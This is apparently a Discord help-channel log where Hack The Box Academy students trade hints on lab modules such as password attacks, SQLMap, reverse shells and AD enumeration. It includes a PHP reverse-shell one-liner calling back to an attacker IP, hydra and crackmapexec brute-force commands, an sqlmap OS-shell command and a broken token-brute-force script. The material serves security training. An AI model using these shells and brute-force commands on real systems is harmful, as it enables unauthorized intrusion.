Yeah, Hydra will downgrade to 4 though.

[fathom pendant]

So for hydra you can specify -t 32

[fathom pendant]

For ssh

That's why it's slpw

Slow*

[final salmon]

Yeah

[fathom pendant]

Again look at what services are available and re-aim your attack

[final salmon]

@fathom pendant Yeah, I scanned, trying different protocol to see what happens.

[chilly forge]

I just did (FTP/SMB139/SMB445/SSH), FTP had no hits (account not allowed to FTP maybe? now trying SMB, but that's so slow haha

Any way to speed it up?

[dim wolf]

recommended number of threads: 48

[fathom pendant]

^

More threads = faster scanning

But depending on sec measures too many threads can break things and you never get the pw

[final salmon]

Linux or Windows?

[chilly forge]

what switch is setting the threads on crackmap? Im looking at the -h for SMB but it doesn't show any thread switch

[dim wolf]

check crackmapexec -h

[fathom pendant]

^

[final salmon]

Probably -t or -T?

[chilly forge]

oh its in the main -h page

[fathom pendant]

Ye

[full nymph]

from hashlib import md5
import requests
import time
import datetime

url = "http://134.122.103.40:32230/question1/"
time = int(time.time())
now = int(time) * 1000
start_time = now - 1500
fail_text = "Wrong token"
user = "htbadmin"
endtime = now + 1500

pre_data = {"submit": "htbuser"}
pre_res = requests.post(url, data = pre_data)
if "Your token is" in pre_res.text:
for x in range(start_time, endtime):
token = user + str(x)
md5_token = md5(token.encode()).hexdigest()
raw_data = {
"token": {md5_token},
"submit": "check"
}
print("checking {} {} {}".format(str(x), md5_token, token))

    res = requests.post(url, data=raw_data)

if not fail_text in res.text:
print(res.text)
print("[*] Congratulations!")
exit()

pre_data = {"submit": "htbuser"}
pre_res = requests.post(url, data=pre_data)
if "Your token is" in pre_res.text:
threads = []
for x in range(start_time - 2250, start_time + 2250):
t = threading.Thread(target=check_token, args=(x,))
threads.append(t)
t.start()
for t in threads:
t.join()
exit()

hey guys I've been struggling on the Broken Authentication - Predictable Reset Token - Question 1 module for several days, I wrote this scipt and it seems to me all correct could help me? please

[fathom pendant]

Put the output in code blocks ffs ``` before and after the code blocks

[full nymph]

what do you mean by output?

[fathom pendant]

The thing you pasted above

[full nymph]

I think it's a timing issue

for gmt +1

[fathom pendant]

Yes probably a timing issue

[full nymph]

or like that but don't find

[fathom pendant]

I've heard thats a common thing with that module is timing

[full nymph]

if i put a timezone(Europe/paris) is good ?

[dim wolf]

if you're in the US, it's also prevalent in the file upload attacks module..

[fathom pendant]

Idk man I haven't done this module

[full nymph]

i'm in paris and i have finish this module "file upload attacks "

[fathom pendant]

I'm just letting you know your issue is a common one, discord has a search feature where you might be able to search for the module name and section to see if someone else had the same issue

[dim wolf]

dont know anything about paris tho

[elfin nacelle]

Linux

[final salmon]

find / -type f -name "user.txt" 2>/dev/null you can replace user.txt with whatever the file name is your looking for.

[final salmon]

You still cracking away too?

[chilly forge]

yeapp

[final salmon]

Cheers!

[chilly forge]

Happy cracking!

[final salmon]

Which protocol you going against?

[chilly forge]

smb port 139

you?

[final salmon]

Trying with SMB myself. Set the threads to 38. Been going for about 30 minutes.

[chilly forge]

Yeah same here, at the letter A now (just did the numbers)

[fathom pendant]

Why not 48?

[chilly forge]

I set it to 48

Still slow as a sloth 😛

[final salmon]

I dunno lol I thought I saw it as 38. Don't want to turn back now XD

[elfin nacelle]

The shell I used was via the command: sqlmap -r getrequest.txt --os-shell --technique=E --batch

[final salmon]

@elfin nacelle May want to look into using sqlmap to upload a shell, then trigger that shell using the command option. Will get you out of the restricted shell style environment, allowing more access.

[dim wolf]

i'd enumerate the webroot and then start looking around the root folder

[arctic sentinel]

Helllo, anyone working with the bash introduction module?!

[final salmon]

@arctic sentinel Nope, but what is your question?

[steady totem]

Module: Password Attacks; Section: Credential Hunting in Linux

Setup: the question is to find the password for Will. The hint implies that you need to be on the box as kira first, and look for Will's password from there. The hint says kira can ssh to most boxes with the password LoveYou1

Issue: I can't get on the box as kira. I've tried the given password on the open services (ftp, ssh, smb). I've tried all the passwords in password.list. I've tried all best64 mutataions of loveyou and LoveYou. I've tried c, $1, and c $1 mutations of all passwords in the given password.list.

The forums don't seeem to have any hints to get on with kira...mabye it's supposed to be easy... I've been here for 2 hours

Anyone can help?

[dim wolf]

did you use the custom rule?

[arctic sentinel]

I`m in the first exercise and been trying many things... Create an "If-Else" condition in the "For"-Loop of the "Exercise Script" that prints you the number of characters of the 35th generated value of the variable "var". Submit the number as the answer.

[steady totem]

wow this game sucks

but ty

[arctic sentinel]

I`m trying to search around the explanations of how to work this out but I'm stuck

[final salmon]

Yeah sorry don't have that module to assist. That question explanation sounds awful though =/

[arctic sentinel]

Thing is that it`s the first exercise... I can't believe I have to give up the module cause of this...

[elfin nacelle]

I uploaded the shell via sqlmap. What is the command option to trigger that shell?

[dim wolf]

is there something you don't understand?

[final salmon]

Well once you have a listener set-up. You can just use /bin/bash -c '/path/to/file/uploaded'

[arctic sentinel]

I`m reading how to use the wc -c command but I can't get it working...

What does "for counter in {1..40}" actually does?!

[final salmon]

Runs the code in the for loop 40 times.

[arctic sentinel]

Ohhhh ok!

[dim wolf]

counter is a variable name

[final salmon]

echo $counter`
done```
Will print 1 through 40

Ignore the (`) character after counter. It was typo

[chilly forge]

@final salmon hows your scan going?

[final salmon]

Lol, its going. About to just say forget it

[arctic sentinel]

This is what I`ve got so far... but the answer I'm given is incorret...

[chilly forge]

I'm pretty sure it's not gonna make it in time (im at B with 30 mins on my target left)

@final salmon this is where I dont know what to do: the machine has 4 services open (ftp, ssh, samba(2x)). Samba is too slow to make it in time, so is SSH, which leaves ftp but that one returns no results..?

[final salmon]

@arctic sentinel What was the original script?

[final salmon]

No idea man, same boat. Will probably let it run till box times out. Then just move on.

[chilly forge]

I'm afraid I'll have to as well.. Shame cause I wanna complete all modules 100% xD

[dim wolf]

well the script's giving you half the answer

[final salmon]

@arctic sentinel Try adding if statement below your var declaration. within the loop:

#!/bin/bash
var = "nef892na9s1p9asn2aJs71nIsm"
for counter in {1..40}
do
  var=$(echo $var | base64)
  if [[ "$counter" == 35 ]];do
    echo $var | wc -c
  fi
done

Your original script is not actually printing out your continuously updated variable. Read through it, line by line, as you have it. Think about what it is actually doing.

[dim wolf]

why did you just give him the answer

[final salmon]

I've never done it before, so I don't know what the answer is. I said try this. But now that you stated it, we can assume it is the answer.

[chilly forge]

@final salmon seems like we can't do the next section either, since it requires the previous creds (sams):

[arctic sentinel]

So far I only get 27, 13, 37

[final salmon]

Ugh. That sucks. Guess I will have to keep trying =/.

@chilly forge Mine actually just crashed XD.

[chilly forge]

Imagine not remembering the creds cause you stopped after that exercise and next time you gotta redo the 2.5h pwcracking

@final salmon damn

[final salmon]

Lols, I been doing on my own Kali vm. Gonna restart it on pwnbox. Jump their VM costs for making me waste so much time, a little fight back at least XD.

[chilly forge]

hahahaha, I've exclusively been using their Pwnboxes

[arctic sentinel]

it`s not the answer...

[chilly forge]

If anyone has hints for the password cracking module: Password Mutations, PLEASE give me a hint!

[dim wolf]

treating it as pseudocode, it very well is

the section is trying to teach you how if else statements work

the question is asking for you to print the number of characters of the 35th generated value of the variable "var"

how would you go about doing that?

one part of the puzzle is given to you in the comments of the script

echo $variable | wc -c

this will output the number of characters in a (string) variable

you need to figure out how to create a conditional statement in the script that will print out the number of characters of the 35th "var" string

[restive sapphire]

hey

[dim wolf]

and as the section content implies, you can do that with an if else statement

[restive sapphire]

how do i start

im a complete braindead

[arctic sentinel]

I`m on it!

I guess I'm too green in all this but why do I need to put double bracelets and double ==???... if [[ "$counter" == 35 ]];then

[final salmon]

Its just how the language has defined its intended use.

[dim wolf]

the double brackets and the == is explained later in the module

[arctic sentinel]

later????....

[dim wolf]

try replicating what's given to you in the section you're in right now

[arctic sentinel]

without you guys I would never been able to guess that one

[dim wolf]

you don't need double brackets or ==

[arctic sentinel]

I found a similar one in stackoverflow

[arctic sentinel]

You`re right!

[final salmon]

@arctic sentinel The double-equal ("==") is an comparison operator, it compares the left and right side and returns either true/false. The single-equal ("=") is an assignment operator, it takes what is declared on the right and assigns it to the left.

[dim wolf]

it should also be noted that == is a string comparison operator, so it can't be used for integers

[final salmon]

In Bash.

[dim wolf]

yes

[final salmon]

Good luck mate, I'm scrapping this section. Wasted too much time already.

[dim wolf]

have you tried testing each service's brute force speed?

[final salmon]

I've spent multi-hours, on each, over the last day-and-a-half doing all three protocols.

[chilly forge]

Yeah same here @final salmon This is the first exercise that actually feels impossible

I don't mind waiting, but the timeouts are making this difficult

[dim wolf]

one service is undoubtedly the best for brute forcing

[chilly forge]

I've tried SMB, SSH, FTP and SMB port 139

those are all the open services

[final salmon]

Meh, regardless the solution shouldn't require multi-hours on even the slowest service.

[dim wolf]

i get how you feel

but if you brute force the right service you will get a hit

much faster than brute forcing any of the other services

[chilly forge]

I dont know what to reply to this lol, I tried them all. 3/4 timeout, 1 runs in 10 seconds giving solely [-] as result.. Am I dumb or am I missing something big? I tried all 4 services, on both CME and Hydra. I'm even trying to figure out how to do this now with John hoping to get an answer

[final salmon]

Definitely not dumb bro. Password cracking is an aggravating process.

[dim wolf]

if you've gone through the entire list of passwords then ||try doing sort -u on the mutated list and remove the first 17000 passwords||

[arctic sentinel]

Thanks!!!!

[final salmon]

No worries, good luck!

[chilly forge]

@dim wolf Trying this now. Can you explain the services to me? You keep hinting at why one service is better than others (faster, more reliable, etc). Which services are best and why?

[dim wolf]

usually if you're trying to brute force a service you'd want to brute force one that 1. can handle the load and 2. can give fast response times

so you just run hydra or whatever for about a minute on a service and it'll tell you how many requests per minute it's sending (cme doesn't do this)

the service that allows you to send the most requests per minute is the one you should brute force

you should, however, confirm that the requests are actually going through; you can probably do that with a small wordlist

[chilly forge]

Alright, that makes sense!

So keeping an eye on the service runtimes

and going for the fastest

Thanks for the help!!

[sick perch]

anyone finished Broken Authentication - Skills Assessment?

[acoustic owl]

i think many people have finished this module 😉 Where are you stuck?

[sick perch]

@acoustic owl I will write you PM (don't want to spoil)

[acoustic owl]

sure

[sinful olive]

password attacks lab - hard: Hi, I was able to do most of the lab, Found the Administrator NTLM hash, and now I am trying to hack it.. tried everything: john, hashcat.. regular password.list and mutated.. non of them worked.. any help?

[sinful olive]

Please help me, I really want to finish this module already.. took me soooo long!

[acoustic owl]

You can send me a DM

[rustic sage]

Hello

Anyone knows how can I get zero click exploit?

[dusty timber]

Need some help. Linux priv escalation module.
Says I need to wget this exploit https://vulners.com/zdt/1337DAY-ID-30003
Couldnt make that happen for some reason so I copied the code to a textfile and ran it instead providing me with this error, then I removed the last line but then the exploit didnt give me root

[vital canyon]

I cannot acess to pwnbox why?

[rustic sage]

Has anyone done Windows command line? I need help with a question I'm stuck on. I can't get the syntax right

[vital adder]

back at this again? if you keep asking for dump shit like this you will get the 👢 from pwning

[dim wolf]

lol

[vital adder]

compile the exploit on your machine and move / run the compiled on the target machine also did linpeas show you that target machine is vulnerable or something?

[vital adder]

sure what's the issue?

[rustic sage]

Just found the issue, I did not read the page carefully enough had to read it again and found the syntax I was looking for. Thanks anyway :)!

[dusty timber]

No the module tells me to do the same that they are doing, which im trying but its not working

[vital adder]

which section are you on?

[dim wolf]

you can't wget that link because it's not a raw file

[vital adder]

didn't even realized he wget the thing

[dim wolf]

if you open the link there's a little download icon in the top right if you hover over the code

[vital adder]

i just give the pwnbox a try and it's working just fine for me (a little note is free user only have a few hours of pwnbox in 1 day )

[dusty timber]

Yea I did that and tried to compile it myself, which gave me the error I cant solve

Oh ok, wrong download. I get it now

But it just downloads the textfile, which contains the same info as my file

[dim wolf]

try compiling it now

[dapper temple]

Does anyone know where the credentials are found in the hint "tomcatadm" on the box, for the module exercise -> Shells & Payloads' - 'The Live Engagement
without the hint, I would've never have found it.....

[dim wolf]

check your jumpbox desktop

if nothing's there check your home dir

[vital adder]

@dusty timber if you are still having issue compiling the exploit try remove the comment on the very last line (that is not how you use comment is C)

[dapper temple]

so we are suppose to be given them, I thought it was just part of the hint, and if we tried to solve the box ourselves, we had to enumerate for them.

thanks

[dusty timber]

I am. Cant figure out how to get the file to the target lol

Will try that first

Didnt work

[vital adder]

compile issue?

[dusty timber]

Yea same as in picture

[vital adder]

so did you remove this thing (# 0day.today [2018-03-28] #) ?

[dusty timber]

omg

this time it worked

[vital adder]

it's a comment for on the exploit (i think) date but that's not how you use comment for C

[dusty timber]

I deleted the entire line, that worked

Thanks a bunch @vital adder and @dim wolf

I removed that line before but it didnt work, it just didnt give me root. Maybe there was something wrong with the pasting I did I dont know

[vital adder]

if you make one of the mod say UwU i'll help you with that

jk don't they will give me the 👢 in my the ass

the password for user2 is the answer on user1 same as for other user

[vital canyon]

how? a paid channel?

[vital adder]

for that you use the flag on question 2 right?

[vital adder]

read the FAQ

[dim wolf]

maybe delete that screencap..

reset the infra

it happened to me but a redeployment fixed it

[vital adder]

yeah you may want to restart the target machine like calculac0re said i just give it a try and login using the flag from user1 work just fine for me

[old birch]

anyone around for a nudge on the Abusing HTTP Misconfig. module - need a sanity check on a payload nvm

[rugged stag]

In case you find a solution, could you give me a heads-up?

[vital canyon]

exactly. which line?

[vital adder]

Is there a limit on Pwnbox usage?

[dim cosmos]

hi all

[tranquil urchin]

And I thought I read the module thoroughly... Thank you so much ❤️

[zenith tide]

Could anyone assist me with a problem on the LFI module? kinda need a sanity check.

[slate moon]

I used this system.

[tight mesa]

In the footprinting module for FTP, the question is asking what version of FTP is running? I submitted 220 InFreight FTP v1.1 as the answer, but it's saying it's wrong. That's my result from running nmap -sV -sC. Any help?

[dim cosmos]

tried without the 220?

[supple jackal]

make sure there are no spaces

[deft escarp]

220 is a code that means something which i believe the codes were listed or linked to somewhere in the module . Submit it without the 220

[tight mesa]

It worked without the 220! Thanks yall!

[dim cosmos]

np

[rugged veldt]

anyone able to give me a nudge on the footprinting easy lab

i have read that the note contains mandatory information, but i dont want to view it just yet

trying to figure out how to get that info myself

[analog urchin]

Hey Guys! I have a question:

Currently on the "Introduction to web applications" module, and there's something that is explained but not this doubt I have in particular.

• If an attacker uses HTML Injection to add a custom form into a page, and manages to steal credentials by sending it to a server he hosts, can the Website owners track that traffic?

[tight mesa]

I'm completing Nibbles -initial foothold and when I try to listen through netcat it says it's listening on 0.0.0.0:9443. why is it not connecting to my ip address? When I go to the image.php link, nothing happens

[dim wolf]

did you set the correct port in the PHP file?

[deft escarp]

Nibbles took me forever...

[scenic lion]

guys Most of the machines, when I enter the http page, server not found comes up, but I can ping and do nmap !!!

[dim wolf]

if it redirects to a domain, add it to /etc/hosts

[tight mesa]

yes, to 9443

[dim wolf]

and your IP?

[tight mesa]

||<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.129.240.116 9443 >/tmp/f); ?>||

that's what I have

||The command I'm entering is nc -lvnp 9443||

[dim wolf]

spoiler the command for others

[tight mesa]

How do I do that?

[dim wolf]

||message content||

is your tun0 IP the IP you specified in the file?

[tight mesa]

No, it's of the ip that i'm attacking. Let me try editing the ip address

[dim wolf]

looks like a reverse shell so the script should call back to your IP

[tight mesa]

Still didn't work

tun0 address is under the field inet when you do ifconfig, right? or is it netmask?

[dim wolf]

look for tun0, the IP is after inet

[tight mesa]

Okay, yes that's the ip address I am using. The reverse shell is still not executing

[dim wolf]

you're missing the closing double quotes

[tight mesa]

I have them, Idk why that copied version doesn't have them. Maybe I added them in after copying to you

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.140 9443 >/tmp/f"); ?>

[dim wolf]

honestly not sure, if you didn't change the file name after reuploading, try doing that and navigate to the new file

[thorn urchin]

try a different reverse shell

I've never had much luck with the mkfifo styled rev shell and php

[tight mesa]

I reset my instance and it worked!

[deft escarp]

I tried the same thing and couldn't get it to work. Did you just copy that into command line or use the php command first?

[turbid kraken]

Sure but dosnt look good

[tight mesa]

no, i made a file named shell.php and copied that into the file

[deft escarp]

@tight mesa you had write permissions?

[tight mesa]

yes... where are you in the terminal? Have you connected via the reverse shell already?

[dim wolf]

sometimes you might not want to copy characters from the host OS to the guest OS

[deft escarp]

Yeah lol, I finished the box but I spent like 8 hours on it because after I spawned in I upgraded my shell with Python but had no write permissions. I couldn't create or write to any files. So I had to use the only application I had sudo over which was /usr/var/php
Took me a very long time but I managed to use php -a to open it interactively and use it to run a command as sudo which was cat /root/flag.txt

Thing is I don't know php so it was just hours of trial and error

[tight mesa]

Okay I'm stuck again. This is the question "Steve is learning about the tool that can make logging a session easier. He messages you for help mentioning that he would like to try to split the panes vertically. What do you tell him? (Answer format: [key] + [key] + [key], i.e., fill in the values for "key" and leave the brackets and + signs.)" referring to tmux. Would the answer not be [ctrl] + [b] + [%]?

[tight mesa]

I'm still stuck on the box. I accidentally exited out of my reverse shell, and it wouldn't reconnect

[deft escarp]

Happened a ton to me. Sometimes I realized I was trying to connect to my own IP. I used the Metasploit module for it, but when I got errors with it, it was because I didn't change the location for uploaded files in the admin panel

Try to reproduce everything you did when it was successful

Hence why notes are so important

[tight mesa]

I did... multiple times

[deft escarp]

Did you reconfigure any settings in the admin panel?

[tight mesa]

What settings?

Admin panel as in when you log into the nibbles site?

[deft escarp]

Yes

There is a settings button, and even though you get an error when configuring the settings, some are still configurable

Not the username and password tho

[dim wolf]

you might need to reset the box

[elfin nacelle]

Currently stuck on a question within the SQLMAP ESSENTIALS module OS Exploitat section.

The hint is 'The flag is in a very common directory!'

I've gained an interactive OS Shell, however im unable to find a second flag after looking at nunmerous common directories.

Can someone provide a hint or nudge in the right direction?

[placid quest]

@user21#6350 look in the root

[tight mesa]

You still there? I got to root, but I'm not seeing a root.txt file

The only file i see is monitor.sh

[wide basalt]

Can someone explain to me how htb works.... that'll be much appreciated

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

Check the link above

[fathom pendant]

gtfobins

[fathom pendant]

Do you still need help?

[chilly forge]

Hello this may be a stupid question, but I'm doing the password attack: Default passwords module. Question is: Use the user's credentials we found in the previous section and find out the credentials for MySQL. Submit the credentials as the answer. (Format: <username>:<password>).
Nmap doesn't show me any mySQL service, I scanned the system for credentials through Sam's SSH connection. Where do I find this MySQL cred? The module is on default passwords/cred stuffing but I have no service to run it against?

[acoustic owl]

The module mentoins a list of standard passwords. Search for this list

[chilly forge]

Right, got it, thanks!!

[sacred ermine]

password attacks hard lab, I found johanna's password but dont know what to do there is a suspicious file keepas, what can I do next, can anyone help me?

[autumn pilot]

think of a way of accessing the contents of that file

[sacred ermine]

there is another user d. but I cannot run commands in smbclient when I am connecting to it, so I see no other ways, but to crack .kdbx, I thought .kdbx password would be the same but was mistaken

[autumn pilot]

if your "command's" intent is to pull something from there, then adjust it as not always pulling something works straight out of the box

[zenith tide]

bump

[fathom pendant]

Hard does a lot of back and forth with unhashing files

[dim cosmos]

hi guys

the windows priv esc module is neat

as per usual my brain hurts

[flint laurel]

Hi guys,

Can someone explain how to solve the hard lab for Network Enumeration with Nmap

Does anyone also know what materials to use for Crest CRT ??

[brave palm]

you guys managed to get SUBBRUTE work properly in the HTB modules VMs?

it hangs when i launch it with both python or python3 giving me few deprecation warnings and it just does nothing

tried also some tools like SUBFINDER but it requires an updated GO version to install :/

[flint laurel]

Thanks.

Hi guys,

Can someone explain how to solve the hard lab for Network Enumeration with Nmap

[deft escarp]

There is a specific port you need to find, to find it, you need to use something in your scan that is know to be used to scan when certain subnets are blocked from certain regions. The answer is in the last section before the labs. There is another option our scan needs. We need to appear as if we are scanning from a port that may be overlooked, the answer is also in that last section before the labs.

[flint laurel]

Thank you @deft escarp will try it out

[deft escarp]

Anytime, let me know if it doesn't work

[brave palm]

anyone who did the ATTACKING COMMON SERVICES? this module is driving me crazy, almost nothing of all the tools explained in this module seem to work

[pine dagger]

Which chapter?

[brave palm]

SMTP but also DNS has some tools suggested which dont seem to work (subbrute and subfinder). i just skipped that for now and im doing SMTP, found the user and trying to brute the PASS with their pws.list file (in resource) with hydra and nothing found

tried using o365spray but its not a o365 mail service

tried hydra with both smtp and pop3 commands but nothing

sometimes i dont understand if these modules require u to use also other personal skills to be completed or not, literally im trying everything learnt in the module but no results

[hallow swift]

Hello! I need help in the "Footprinting" module, in the section "IPMI" with the first question please!

[modest isle]

I tried xfreerdp on Termux but it's not working, why?

[queen hatch]

Do you have an error message?

[pine dagger]

For SMTP, ignore the o365spray. Try using the tool from the User Command section for the username. Then its just a matter of brute forcing the user you find.

[modest isle]

Yhh

It's saying something about the display parameters

[brave palm]

Thanks will try again

[tight mesa]

No I was able to get the root flag! Thanks!

[queen hatch]

Do you mind sharing the error message and what platform / OS you're on so others here can help better?

[zenith gazelle]

In the module "Footprinting" the IPMI question 2, to get the cleartext password. Do i need to use a wordlist? And im using the -m 100 for SHA1, am i thinking right ?

[hallow swift]

I can't get that second question also

[brave palm]

anyway i already got the user as i said before, its the bruteforcing that its not finding anything

idk if im supposed to use a different wordlist

[kind turret]

The hashmode is incorrect

[brave palm]

I used this || hydra -L user.list -P pws.list -f 10.10.110.20 pop3 || where in the user.list i just put the user i've found. tried also by just using || -l 'username' || instead of submitting a file. tried command with both pop3 and smtp

[autumn pilot]

there is a metasploit module that can help you

if you are on the SMTP section

[brave palm]

will try that too cuz hydra keeps telling me '0 valid password found'

[autumn pilot]

you don't need a password, you need a valid name (username)

[brave palm]

is that it?

i mean fuck then cuz the question in the module cleary says "credentials" and i supposed i needed both user and psw

god damn

[devout cliff]

Yeah might want to double check and see what username syntax pop3 expects when logging in. Just in case.

[brave palm]

OH COME ON

thank u

ffs i didnt think about that

[devout cliff]

[brave palm]

i feel dumb af now ahahahah didnt think it could've made a difference by using hydra but yeah now it makes sense lol

[brazen pollen]

hi

[tight basin]

Any nudge/hint on "AD Enumeration & Attacks - Skills Assessment Part I". Currently stuck on "Submit the contents of the flag.txt file on the Administrator desktop on MS01". No clue how to get to MS01 from WEB-WIN01 server. I've got the svc_sql account but can't auth on MS01 with it.

[pine dagger]

Glad you got it. 🙂

[autumn pilot]

haven't gotten that far, but maybe kerberoasting?

[pine dagger]

Try evil-winrm with the user/pass you found from questions 1 and 2 🙂 And make sure you're accessing the correct machine.

[brave palm]

yeah thank you! no matter what is gonna always be some mf syntax error that drives u crazy hahah

[pine dagger]

Oh dont I know it. I spent nearly an hour getting annoyed with Cyberchef, in Broken Authentication, because it doesn't convert cookies back in quite the same way. Decodes the cookies fine, but seems to add a bunch of extra padding when encoding. Had to end up writing a Python script to do the encoding

[glossy cipher]

can anyone help me for the
Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host. for AD Enumeration & Attacks - Skills Assessment Part II?
i got the domain admin account but I cant use evil winrm or xrdp into the place :Pepe_Hands:

[autumn pilot]

PSRemoting?

[pine dagger]

Oh wait

sorry that's an earlier question

Same thing with evil-winrm, but using the mssqlsvc account

[glossy cipher]

wait.. nvm i think i forgot to do somethinng

[pine dagger]

You might need to do some proxychaining

[glossy cipher]

me?

[pine dagger]

No

[quasi void]

@tough fjord Pls bro can you help me with this problem, subnetting sucks 😭

Submit the broadcast address of the following CIDR: 10.200.20.0/27

[dim wolf]

8/16/24/32
255.0.0.0/255.255.0.0/255.255.255.0/255.255.255.255

[pine dagger]

Oh, wait, you're asking the same question as dariomtc, so yes, you too

[glossy cipher]

i did use proxychain from SQL01

[quasi void]

what for wack 27?
🐿️

[dim wolf]

25 = 255.255.255.128

26 = 255.255.255.128+64

basically a bit is a power of 2

[leaden crest]

Afternoon all. New to HTB & Academy and loving the challenge so far. Not sure if anyone could give me a pointer (not the answer) on something if I post the details? Is that something that can be requested in here?

[dim wolf]

and it decreases as you approach the final 8th bit

[autumn pilot]

have you tried using a calculator?

[dim wolf]

and yeah a calculator really helps here

[quasi void]

owwkay so for 27 it would be

255.255.255.256

shit

i think consumed a lot of caffeine

[dim wolf]

1    1    1    1    1    1    1    1
128  64   32   16   8    4    2    1

[quasi void]

owwwwwkay

undewrstood

so /27 would be 255.255.255.128+64+32

[dim wolf]

yes

[quasi void]

thank you so much saviour, you taught me dsomething which i was not able to learn from weeks

thanks you so much @dim wolf

[dim wolf]

now you can calculate the broadcast address

[quasi void]

yupp

[glossy cipher]

nvm i completely forgot to do the ||ACL ATTACK||

[pine dagger]

I simply used the attack host as my pivot

[steady light]

Hey guys, does any1 know how long it takes to crack the root pass in Passwd, Shadow & Opasswd section of Password attacks module?

[last cape]

hi would somebody be able to help me with the skills assessment-website part of the login brute forcing module, I finished the first question but I’m not sure how to crack the login for admin_login.php, help would be greatly appreciated 😄

[devout cliff]

can anyone tell me why my exploit from exploit-db for msfconsole isnt showing up when i search for it in msfconsole? i put it in the spot where the other relative exploits are pulled from and its still not showing up

[steady light]

did you restart msfconsole after putting the exploit?

or there was a command i don't remember to refresh the exploits list

[devout cliff]

yeah i did try that

also tried sudo to see if its a permissions issue. didnt seem to change anything

and it wont let me run it manually either when i try something like 'use /exploits/linux/http/xxxx.rb

it just doesnt find it at all

and i made sure to put it in the right directory as FILENAME.rb

got it to work

needed to use reload_all

well got the module to run with an error. oh boy

undefined method 'split' for nil:NilClass

[steady light]

I remember I had the same issue, try playing with the options, you are on a right track

[novel anvil]

Try using the "where" command to pool / find all the reclusively in all the subfolders ... I'll give you a hint for last switch ... the key is the file size of the flag file ... that will pinpoint the flag

[wind gust]

I need help withh the format of this question What is the URL of the WordPress instance? on attacking common application skill assessment II

[devout cliff]

does it have to do with the targeturi in options? or do i have to debug something

[dim wolf]

fqdn

[wind gust]

ah got it

thx

[dim wolf]

think about the target you are attacking

[devout cliff]

i dont know how that helps me unfortunately

the error is too vague in that way for me to think about what im supposed to be doing here

[dim wolf]

some options are not optional in some cases

[devout cliff]

oh

i get it

F

[rustic sage]

Hello, while port-scanning through Nmap, it throws this error, Note: The host looks depressed. If it does work, but is blocking our ping probes, try -Pn
Made by Nmap: 1 IP address (0 active hosts) scanned in 3.04 seconds, -pn does not work, if anything, as I understand the error in the disabled host, how can I enable it?

[novel anvil]

Hi there .. Im stuck at trying to find find the flag before the domain controller ... can you give me any hints... I think that I am in the right directory going through the "Pester" module files but I'm stuck ... am I in the right place?

[acoustic owl]

In which module, which section and which question?

[novel anvil]

module introduction to windows command line

questionFor this level, you must successfully authenticate to the Domain Controller host at 172.16.5.155 via SSH after first authenticating to the target host. This host seems to have several PowerShell modules loaded, and this user's flag is hidden in one of them.

question 8

[acoustic owl]

Did you connect to the DC via SSH?

[novel anvil]

No ... I am stuck

if I'm connecting to the DC I don't know where to get the creds

[acoustic owl]

Okay, you can connect to a computer via SSH this way:
ssh username@ipaddress

[novel anvil]

is that using whoami --- in this case the user name "greenhorn"

[acoustic owl]

It is the same user you used for the machine itself.

user7

[novel anvil]

ok ... I think that I have read the quest wrong ... basically ssh user7@172.16.5.155 then go from there to find the flag

thanks

[rustic sage]

hello guys may I ask for the help?
I am doing the "The Live Engagement" module and I successfully got the webshell in apache tomcat
However, whenever I do "ls" I get 500 error
"whoami" command works is there anything that I did wrong?

command : whoami -> nt authority...

command: ls -> 500 Internal Server Error

[queen hatch]

I haven't done that module yet. However, "nt authoriy" tells me its likely Windows. ls doesn't always work on Windows. Try dir?

[rustic sage]

yeah I did dir as well but it also gives me 500 internal server error... T____T

[queen hatch]

Drats. I may have to step back and let someone else answer your question since I'm not sure what the module is trying to cover.

You could also try to redirect the output to a separate file and read it from the web.

ls > contents.txt
Then navigate to http://whatever_ip/contents.txt (example)

[velvet atlas]

PW lab hard- last week couldnt pull down the ||keep|| file at all. people saying use python but its not on the win server? Got it another way- but now ||keepass2john|| is not working. errors and says signature not recognized. Are these labs super unstable or am I on the struggle bus?

[queen hatch]

Most labs are setup pretty well. I have run into some issues from time to time like using OWASP ZAP over Burp. More often than not, I'm on the struggle bus though.

Lets make sure you're in the right spot though. I see a couple Password modules that are medium difficulty and some Pwn challenges that are hard. What's the name of the lab, challenge, or module that you're on?

[devout cliff]

can anyone give me some help to the last question in the live engagement for shells and payloads?

[velvet atlas]

In the academy- Password Attacks: Password Attacks Lab-Hard. and yea, usually its me- but a few times, the pre-installed tools dont work and I have had to start from scratch. In this case, It still didnt work though

[queen hatch]

Unfortunately, I haven't worked on that module yet. I'll have to step a side to let someone else help out.

I usually search for w/e module I'm on in here to see what other people have run into while I wait

[velvet atlas]

yep seems like noone else has had that issue- so im just lucky haha- appreciate it

[sleek urchin]

Hello all, I am doing SQLMap Essentials: Skills Assessment, I understand the error(s), but I don't know how to fix them, and here is what i did

Command: sqlmap -r req.txt --dump -T final_flag --parse-errors --tamper=symboliclogical --batch -v 3 --technique=T --no-cast

Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: {"id":"1 AND 8209=BENCHMARK(5000000,MD5(0x77577877))"}
Vector: AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])

and here what i get: [WARNING] unable to retrieve the number of entries for table 'final_flag' in database '

any help will be appreciated

[queen hatch]

I'm not sure how you're setup but is this something that's preinstalled on ParrotOS? I've booted up one of the temp VMs just to use one of those tools for a minute before. Would that be an option for you?

[quiet surge]

I think i used ||evil-winrm download|| to get the file. Probably multiple ways to do it. Don't remember any issues cracking the hash.

[fathom pendant]

Because windows, nt authority is windows version of root

[novel anvil]

anyone having issues with the VM's today

I am constantly having to logout and rest my session ... hangs

[dim wolf]

try using a different shell

[rustic sage]

ty! i will try different one

[devout cliff]

has anyone completed the shells and payloads live engagement? specifically host 3, im having issues with my payload and i feel like i have tried a lot of different payloads with no success.

[velvet atlas]

yea thats how i ended up grabbing it too. ty- and yea good point @queen hatch I will just try it locally and see if that works as I am 99% sure I am doing the correct technique

[woeful ermine]

so you upload the payload successfully, right?

[rustic sage]

OMG thank you so much finally figured out

[devout cliff]

im not using the webshell method but the msfconsole method

[woeful ermine]

